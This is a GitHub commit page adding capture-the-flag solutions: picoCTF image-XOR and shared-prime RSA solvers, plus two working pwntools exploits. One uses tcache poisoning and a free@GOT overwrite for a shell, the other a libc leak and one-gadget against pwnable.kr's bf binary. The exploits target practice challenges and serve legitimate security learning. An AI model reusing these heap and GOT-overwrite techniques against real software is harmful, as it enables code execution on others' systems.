Skip to content

Commit 6efb572

Browse files
committedNov 26, 2023
pico sols + pwnable.kr bf
1 parent 4656c49 commit 6efb572

File tree

15 files changed

+122
-0
lines changed

15 files changed

+122
-0
lines changed
 

‎picoCTF/2019/ld-2.29.so

175 KB
Binary file not shown.

‎picoCTF/2019/libc.so.6

19 MB
Binary file not shown.

‎picoCTF/2019/zero_to_hero

9.91 KB
Binary file not shown.

‎picoCTF/2021/pixelated.py

+16
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
from PIL import Image
2+
img1 = Image.open('scrambled1.png')
3+
img2 = Image.open('scrambled2.png')
4+
res = Image.new('RGBA', (img1.size[0], img1.size[1]))
5+
px1 = img1.load()
6+
px2 = img2.load()
7+
respx = res.load()
8+
for i in range(res.size[0]):
9+
for j in range(res.size[1]):
10+
px = tuple(map(lambda a: a[0]^a[1], zip(px1[i,j], px2[i,j])))
11+
if px != (255, 255, 255):
12+
respx[i,j] = (0,0,0)
13+
else:
14+
respx[i,j] = (255, 255, 255)
15+
res.save('result.png')
16+

‎picoCTF/2021/result.png

1.09 KB
Loading

‎picoCTF/2021/scrambled1.png

193 KB
Loading

‎picoCTF/2021/scrambled2.png

193 KB
Loading

‎picoCTF/2023/horsetrack.py

+55
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
from pwn import *
2+
#context.log_level = 'debug'
3+
e = ELF('./horsetrack')
4+
r = process('./horsetrack')
5+
#r = gdb.debug('./horsetrack', 'b *0x004014fb\nc')
6+
7+
def add_horse(i, length, data):
8+
r.recvuntil(b'Choice: ')
9+
r.sendline(b'1')
10+
r.sendline(str(i).encode())
11+
r.sendline(str(length).encode())
12+
r.sendline(data)
13+
def remove_horse(i):
14+
r.recvuntil(b'Choice: ')
15+
r.sendline(b'2')
16+
r.sendline(str(i).encode())
17+
def race():
18+
r.recvuntil(b'Choice: ')
19+
r.sendline(b'3')
20+
def do_exit():
21+
r.recvuntil(b'Choice: ')
22+
r.sendline(b'4')
23+
def cheat(i, spot, data):
24+
r.recvuntil(b'Choice: ')
25+
r.sendline(b'0')
26+
r.sendline(str(i).encode())
27+
r.sendline(data)
28+
r.sendline(str(spot).encode())
29+
add_horse(0, 16, b'a'*16)
30+
remove_horse(0)
31+
add_horse(0, 16, b'\xff')
32+
for _ in range(4):
33+
add_horse(_ + 1, 16, b'a'*16)
34+
print('racing')
35+
race()
36+
37+
c = b'\x20'
38+
while c[0] == 0x20:
39+
c = r.recv(1)
40+
key = u16(c+r.recv(1))
41+
print('aslr bits:', hex(key))
42+
add_horse(5, 16, b'1'*16)
43+
add_horse(6, 16, b'2'*16)
44+
add_horse(7, 16, b'/bin/sh\x00' + b'\xff')
45+
remove_horse(5)
46+
remove_horse(6)
47+
target = e.got['free']-8
48+
print('target', hex(target))
49+
assert target & 0xf == 0
50+
cheat(6, 0, p64(target^key) + b'\xff')
51+
add_horse(8, 16, b'a'*16)
52+
add_horse(9, 16, b'a'*8 + p64(e.plt['system']))
53+
remove_horse(7)
54+
55+
r.interactive()
+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
from math import gcd
2+
from Crypto.Util.number import long_to_bytes
3+
n1 = 15192492059814175574941055248891268822162533520576381643453916855435310880285336743521199057138647926712835561752909538944229702432795423884081992987060760867003375755338557996965825324749221386675061886921763747311599846248565297387814717840084998677273427776535730840343260681623323972936404815862969684384733188827100528542007213405382537935243645704237369770300643318878176739181891072725262069278646319502747718264711249767568106460533935904219027313131270918072460753061248221785076571054217566164086518459844527639082962818865640864990672033657423448004651989761933295878220596871163544315057550871764431562609
4+
n2 = 15896482259608901559307142941940447232781986632502572991096358742354276347180855512281737388865155342941898447990281534875563129451327818848218781669275420292448483501384399236235069545630630803245125324540747189305877026874280373084005881976783826855683894679886076284892158862128016644725623200756074647449586448311069649515124968073653962156220351541159266665209363921681260367806445996085898841723209546021525012849575330252109081102034217511126192041193752164593519033112893785698509908066978411804133407757110693612926897693360335062446358344787945536573595254027237186626524339635916646549827668224103778645691
5+
n3 = 16866741024290909515057727275216398505732182398866918550484373905882517578053919415558082579015872872951000794941027637288054371559194213756955947899010737036612882434425333227722062177363502202508368233645194979635011153509966453453939567651558628538264913958577698775210185802686516291658717434986786180150155217870273053289491069438118831268852205061142773994943387097417127660301519478434586738321776681183207796708047183864564628638795241493797850819727510884955449295504241048877759144706319821139891894102191791380663609673212846473456961724455481378829090944739778647230176360232323776623751623188480059886131
6+
e = 65537
7+
c = 5527557130549486626868355638343164556636640645975070563878791684872084568660950949839392805902757480207470630636669246237037694811318758082850684387745430679902248681495009593699928689084754915870981630249821819243308794164014262751330197659053593094226287631278905866187610594268602850237495796773397013150811502709453828013939726304717253858072813654392558403246468440154864433527550991691477685788311857169847773031859714215539719699781912119479668386111728900692806809163838659848295346731226661208367992168348253106720454566346143578242135426677554444162371330348888185625323879290902076363791018691228620744490
8+
p = gcd(n1, n2)
9+
q = gcd(n1, n3)
10+
r = gcd(n2, n3)
11+
def dec(ct, a, b):
12+
n = a*b
13+
d = pow(e, -1, (a-1)*(b-1))%n
14+
return pow(ct, d, n)
15+
d = dec(c, q, r)
16+
d = dec(d, p, r)
17+
d = dec(d, p, q)
18+
print(long_to_bytes(d).decode())
19+
20+

‎pwnable-kr/bf/bf

7.53 KB
Binary file not shown.

‎pwnable-kr/bf/bf_libc.so

9.21 MB
Binary file not shown.

‎pwnable-kr/bf/bf_patched

11.5 KB
Binary file not shown.

‎pwnable-kr/bf/bf_solve.py

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# leak libc base
2+
# write one-gadget to puts got
3+
'''
4+
0x5fbd5 execl("/bin/sh", eax)
5+
constraints:
6+
esi is the GOT address of libc
7+
eax == NULL
8+
'''
9+
# jump back to __libc_start_main with another got overwrite
10+
from pwn import *
11+
context.log_level = 'debug'
12+
e = ELF('./bf')
13+
libc = ELF('./bf_libc.so')
14+
#r = process('./bf_patched')
15+
r = remote('pwnable.kr', 9001)
16+
#r = gdb.debug('./bf_patched', 'b main\nc')
17+
r.recvuntil(b']\n')
18+
r.sendline(b'.'+b'<'*(e.sym['tape']-e.got['putchar'])+b'.>'*4+b'<'*4+b',>'*4+b'<'*(e.got['putchar']+4-e.got['puts'])+b',>'*4+b'.')
19+
# make sure putchar is resolved first
20+
r.recv(1)
21+
leak = u32(r.recv(4))
22+
print('putchar@got =', hex(leak))
23+
libc.address = leak - libc.sym['putchar']
24+
print('libc.address =', hex(libc.address))
25+
# putchar -> __libc_start_main(main), puts -> one-gadget
26+
r.send(p32(e.sym['_start']))
27+
r.send(p32(libc.address + 0x5fbd5))
28+
r.interactive()
29+
30+

‎pwnable-kr/bf/ld-2.23.so

144 KB
Binary file not shown.

‎pwnable-kr/bf/libc.so.6

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
bf_libc.so

0 commit comments

Comments
 (0)